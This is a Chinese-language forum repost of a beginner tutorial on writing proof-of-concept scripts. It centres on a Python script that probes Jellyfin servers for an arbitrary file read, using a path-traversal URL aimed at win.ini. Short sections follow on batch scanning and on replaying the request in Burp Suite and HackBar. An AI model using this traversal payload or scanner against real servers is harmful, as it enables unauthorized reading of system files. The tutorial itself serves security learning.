搜索

[752] 2021-04-09_如何编写有效POC

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2021-04-09_如何编写有效POC 如 何 编 写 有 效 P O C 原 创   黑 子 黑   b g b i n g 安 全   2 0 2 1 - 0 4 - 0 9 前 言 ： 仅 供 小 白 参 考 ， 大 佬 级 别 的 可 以 不 用 往 下 看 了 一 、 利 用 p y t h o n 写 p o c 写 p o c ， e x p 当 然 推 荐 使 用 p y t h o n ， 这 里 将 举 J e l l y f i n   任 意 文 件 读 取 漏 洞 为 例 子 单 个 i p 扫 描 的 # 单 个 i p i m p o r t   r e q u e s t s     # 导 入 请 求 包 i m p o r t   s y s               # 导 入 参 数 包 i m p o r t   u r l l i b 3       # 导 入 u r l l i b 3 文 件 u r l l i b 3 . d i s a b l e _ w a r n i n g s ( )       # 取 消 w a r n 警 告 i f   l e n ( s y s . a r g v ) ! = 2 :             # 参 数 数 量 不 等 于 2 ， 将 输 入 以 下 内 容         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + ' )         p r i n t ( ' +   公 众 号 ： b g b i n g 安 全                                                                                     + ' )         p r i n t ( ' +   作 者 ： 黑 子 黑                                                                                                 + ' )         p r i n t ( ' +   p y t h o n 3     x x x . p y     h t t p : / / x x x . x x x . x x x . x x x                                           + ' )         p r i n t ( ' + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + ' )         s y s . e x i t ( ) u r l =   s y s . a r g v [ 1 ]           # 第 一 个 参 数 赋 值 到 u r l u r l = u r l + " / A u d i o / 1 / h l s / . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C . . % 5 C W i n d o w s % 5 C w i n . i n i / s t r e a m . m p 3 / "         # 开 始 编 写 p o c h e a d e r s   =   {         ' U s e r - A g e n t ' :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 8 6 . 0 . 4 2 4 0 . 1 1 1   S a f a r i / 5 3 7 . 3 6 ' ,                                 " C o n t e n t - T y p e " :   " a p p l i c a t i o n / o c t e t - s t r e a m "       # 请 求 头 部     } r e s p o n s e = r e q u e s t s . g e t ( u r l , h e a d e r s = h e a d e r s , v e r i f y = F a l s e )             # 发 起 请 求 ， 并 且 取 消 证 书 验 证 i f   r e s p o n s e . s t a t u s _ c o d e = = 2 0 0 :         # 如 果 状 态 码 为 2 0 0 则 输 入 存 在 漏 洞         p r i n t ( " 存 在 漏 洞 " )         e l s e :         p r i n t ( " 不 存 在 漏 洞 " )
当 然 有 时 为 了 p y t h o n 脚 本 的 p o c 的 准 确 性 ， 可 以 用 b u r p 作 为 辅 助 设 置 代 理 i n t e r c e p t 设 置 为 o n ， 然 后 运 行 脚 本 到 这 里 可 以 看 一 下 请 求 包 是 否 与 自 己 要 写 的 e x p 一 致 多 个 i p ， 也 称 批 量 扫 描 二 、 b u r p 来 执 行 p o c 访 问 一 下 漏 洞 i p b u r p 抓 一 下 包
当 然 为 了 能 够 多 次 测 试 ， 我 们 可 以 把 数 据 包 放 到 r e p e a t e r 里 面 ， 可 以 反 复 测 试 三 、 h a c k b a r 来 执 行 p o c h a c k b a r 建 议 使 用 这 个 ， 免 费 的
安 装 好 后 ， 按 f 1 2 ， 会 出 现 这 个
更 多 渗 透 测 试 可 以 到 星 球 学 习
转 发 文 章 就 是 亲 兄 弟 ， 有 困 难 可 以 直 接 来 找 我 ， 我 将 尽 力 帮 忙 ！
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理